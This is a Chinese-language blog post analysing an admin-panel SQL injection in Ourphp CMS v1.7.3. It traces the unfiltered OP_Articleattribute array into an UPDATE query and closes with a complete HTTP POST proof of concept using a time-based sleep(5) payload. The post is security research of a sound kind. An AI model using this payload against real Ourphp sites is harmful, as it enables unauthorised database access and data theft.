version:
<?php
/*******************************************************************************
* Ourphp - CMS建站系统
* Copyright (C) 2017 www.ourphp.net
* 开发者:哈尔滨伟成科技有限公司
*******************************************************************************/ $ourphp_version="v1.7.3";
$ourphp_versiondate="20170615";
$ourphp_weixin="close";
$ourphp_apps="close";
$ourphp_alifuwu="close"; ?>

首先看 index.php

加载了下面这些文件

include './config/ourphp_code.php';
include './config/ourphp_config.php';
include './config/ourphp_version.php';
include './config/ourphp_Language.php';
include './function/ourphp_function.class.php';
include './function/ourphp/Smarty.class.php';
include './function/ourphp_system.class.php';
include './function/ourphp_template.class.php';

其中 ourphp_function.class.php 为一些安全过滤函数

批量搜索 $_POST

挑了一处跟进去

\client\manage\ourphp_articleview.php  第71行

$query = $db -> update("`ourphp_article`","`OP_Articletitle` = '".admin_sql($_POST["OP_Articletitle"])."',`OP_Articleauthor` = '".admin_sql($_POST["OP_Articleauthor"])."',`OP_Articlesource` = '".admin_sql($_POST["OP_Articlesource"])."',`time` = '".date("Y-m-d H:i:s")."',`OP_Articlecontent` = '".admin_sql($_POST["OP_Articlecontent"])."',`OP_Tag` = '".$wordtag."',`OP_Class` = '".$OP_Articleclass[0]."',`OP_Lang` = '".$OP_Articleclass[1]."',`OP_Sorting` = '".admin_sql($_POST["OP_Articlesorting"])."',`OP_Attribute` = '".$OP_Articleattribute."',`OP_Url` = '".admin_sql($_POST["OP_Articleurl"])."',`OP_Description` = '".compress_html($OP_Articlecontent)."',`OP_Minimg` = '".$OP_Minimg."'","where id = ".intval($_GET['id']));

发现大部分参数都经过了 admin_sql 函数的处理,但是发现 $OP_Articleattribute 没有经过admin_sql的处理

搜索 $OP_Articleattribute 发现

\client\manage\ourphp_articleview.php  第47-51行

        if (!empty($_POST["OP_Articleattribute"])){
$OP_Articleattribute = implode(',',$_POST["OP_Articleattribute"]);
}else{
$OP_Articleattribute = '';
}

显然也没有经过处理

这里是update 的注入点  而且没有回显 所以不能用报错注入

根据上面对 $OP_Articleattribute 知道这里应该传入数组

监控sql语句为

update `ourphp_article` set `OP_Articletitle` = '世界,你好!',`OP_Articleauthor` = '',`OP_Articlesource` = '',`time` = '2017-08-10 12:05:16',`OP_Articlecontent` = '世界,你好!',`OP_Tag` = '',`OP_Class` = '3',`OP_Lang` = 'cn',`OP_Sorting` = '99',`OP_Attribute` = 'aaaaaaaaaaaaa,xxxxxxxxx'',`OP_Url` = '',`OP_Description` = '世界,你好!',`OP_Minimg` = 'skin/noimage.png' where id = 3

带入了单引号

最后给出poc

POST /client/manage/ourphp_articleview.php?ourphp_cms=edit&id=3&page=1 HTTP/1.1
Host: localhost.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=pnti0rkun1s1rrqhhl9n6lqdr1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 484 OP_Articleclass=3%7Ccn&OP_Articletitle=%E4%B8%96%E7%95%8C%EF%BC%8C%E4%BD%A0%E5%A5%BD%EF%BC%81&OP_Articleauthor=&OP_Articlesource=&a_upimg=skin%2Fnoimage.png&OP_Articlecontent=%E4%B8%96%E7%95%8C%EF%BC%8C%E4%BD%A0%E5%A5%BD%EF%BC%81&OP_Articlesorting=99&OP_Articleurl=&OP_Articletag=&OP_Articledescription=%E4%B8%96%E7%95%8C%EF%BC%8C%E4%BD%A0%E5%A5%BD%EF%BC%81&submit=%E6%8F%90%2B%E4%BA%A4&OP_Articleattribute[0]=aaaaaaaaaaaaa&OP_Articleattribute[1]=xxxxxxxxx' where 1=1 and sleep(5)-- -

ourphp 最新版(v1.7.3) 后台sql注入的更多相关文章

  1. 后台SQL注入实例

    简要描述: 汉庭连锁酒店后台SQL注入,可绕过登陆限制进入后台,可脱库. 详细说明: 问题发生在这个站点.http://miaosha.htinns.com/ 标题内没有写具体信息.因为怕发布后被人入 ...

  2. 【漏洞分析】Discuz! X系列全版本后台SQL注入漏洞

    0x01漏洞描述 Discuz!X全版本存在SQL注入漏洞.漏洞产生的原因是source\admincp\admincp_setting.php在处理$settingnew['uc']['appid' ...

  3. shopex最新版前台一处想不到的SQL注入漏洞

    shopex代码核心的地方都做了加密处理,找漏洞就需要一点想象空间了,比如这个SQL注入… 存在于用户注册(想不到的位置吧?)   /core/shop/controller/ctl.passport ...

  4. 【原创】风讯DotNetCMS V1.0~V2.0 SQL注入漏洞

      文章作者:rebeyond 注:文章首发I.S.T.O信息安全团队,后由原创作者友情提交到乌云-漏洞报告平台.I.S.T.O版权所有,转载需注明作者. 受影响版本:貌似都受影响. 漏洞文件:use ...

  5. Java 后台sql注入

    JdbcTemplate.update(sql, ArrayList.toArray()) Connection conn = null; PreparedStatement ps = null; c ...

  6. 74cms v3.3 后台SQL注入

    注入存在于后台 admin_baiduxml.php 代码 52-63行 elseif($act == 'setsave') { $_POST['xmlmax']=intval($_POST['xml ...

  7. Discuz!X系列全版本后台sql注入复现

    圈子某位大佬公布的0day,拿来刷一刷,漏洞分析请移步大佬文章.大佬链接 0x01 环境准备 1.首先去码云下载最新版本的discuz(DiscuzX 3.4 R20191201). 2.将upaod ...

  8. PHP:网展cms后台任意文件删除和sql注入

    0x01:目录结构 可以发现Frameword是框架的文件 install安装 public公共文件 uploads储存上传之类的文件 webuser后台文件 Home前台文件 0x02.csrf漏洞 ...

  9. 关于ECSHOP中sql注入漏洞修复

    标签:ecshop sql注入漏洞修复 公司部署了一个ecshop网站用于做网上商城使用,部署在阿里云服务器上,第二天收到阿里云控制台发来的告警信息,发现ecshop网站目录下文件sql注入漏洞以及程 ...

随机推荐

  1. 【Lua篇】静态代码扫描分析(二)词法分析

    一.词法分析 词法分析(英语:lexical analysis)是计算机科学中将字符序列转换为单词(Token)序列的过程.进行词法分析的程序或者函数叫作词法分析器(Lexical analyzer, ...

  2. Distribute SSH Pubkey to Multiple Hosts with Fabric

    Generate ssh keys on source host with ssh-keygen; Disable known_hosts prompt(optional): add "St ...

  3. Lingoes安装词典和语音库

    安装词典: 选项->词典,出现"词典管理"窗体,点"安装",从磁盘上选择要安装的词典文件(扩展名为ld2的文件),勾选"添加到索引组" ...

  4. Golang语言系列-18-Gin框架博客项目

    代码托管在码云: https://gitee.com/lichengguo/my-blog-golang

  5. 联合迭代器与生成器,enumerate() 内置函数真香!

    花下猫语:Python 中很多内置函数的作用都非常大,比如说 enumerate() 和 zip(),它们使得我们在作迭代操作时极为顺手.这是一篇很多年前的 PEP,提议在 Python 2.3 版本 ...

  6. input 限制 上传文件类型

    参考:input file控件限制上传文件类型 HTML <input> 标签的 accept 属性 网页上添加一个input file HTML控件: <input id=&quo ...

  7. git新建分支及提交代码到分支

    二.创建分支并提交代码到分支 上述添加成员的方式非常简单,但是如果说每一个小组成员都可以对仓库push内容,就涉及到一个代码的安全和冲突问题了,当多个成员同时在线编辑时容易出现冲突,假设A的代码是有问 ...

  8. 【axios】API 说明

    基于promise用于浏览器和node.js的http客户端 特点 支持浏览器和node.js 支持promise 能拦截请求和响应 能转换请求和响应数据 能取消请求 自动转换JSON数据 浏览器端支 ...

  9. 何时覆盖hashCode()和equals()方法

    The theory (for the language lawyers and the mathematically inclined): equals() (javadoc) must defin ...

  10. C程序设计学习笔记(完结)

    时间:2015-4-16 09:17 不求甚解,每有会意,欣然忘食.学习的过程是痛苦的 第1章    程序设计和C语言     第2章    算法--程序的灵魂   -算法的五个特点          ...